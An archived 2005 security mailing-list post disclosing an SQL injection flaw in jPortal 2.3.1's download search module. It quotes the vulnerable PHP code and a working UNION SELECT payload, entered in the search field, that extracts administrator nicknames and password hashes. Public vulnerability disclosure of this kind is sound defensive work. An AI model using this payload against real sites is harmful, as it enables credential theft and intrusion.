Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Sql injection in jPortal version 2.3.1 (module download) |
|---|---|
| Date: | 23 Sep 2005 13:05:39 -0000 |
Versions: all from 2.2.1 to 2.3.1(+Service Pack)+shop jportal(I check this bug
only on one site)
SQL injection attack
if magic_quotes_qpc=Off
Problem is in file serching engine (download.php), witch code is in
?module/down.inc.php? file:
<code>
if($cat=='all') {
$q_ = "AND title LIKE '%$word%'";
} else {
$q_ = "AND category LIKE '%-$cat-%' AND title LIKE '%$word%'";
}
$query = "SELECT * FROM $file_b_tbl WHERE stat<>5 $q_";
$result = mysql_query($query);
</code>
In $q query we have simple SQL Injection attack (variable $word we take from
?search? field) then In field ?Where I should search? ($cat) we SET
?everywhere?. And now we need this query ($query) to attack:
$query = "SELECT * FROM file_data WHERE stat<>5 AND title LIKE '%a%' UNION
SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL ,
NULL , NULL FROM admins/*%'";
Exploits:
SQL injection attack
-http://www.page.info/download.php
We write in ?search? field:
a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL ,
NULL , NULL , NULL FROM admins/*
We push ?Find? button and we get list of admins and users with coding passwords.
krasza
http://www.krewniacy.pl
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [Full-disclosure] [USN-186-1] Mozilla and Firefox vulnerabilities, Martin Pitt |
|---|---|
| Next by Date: | TSLSA-2005-0051 - clamav, Trustix Security Advisor |
| Previous by Thread: | [Full-disclosure] [USN-186-1] Mozilla and Firefox vulnerabilities, Martin Pitt |
| Next by Thread: | TSLSA-2005-0051 - clamav, Trustix Security Advisor |
| Indexes: | [Date] [Thread] [Top] [All Lists] |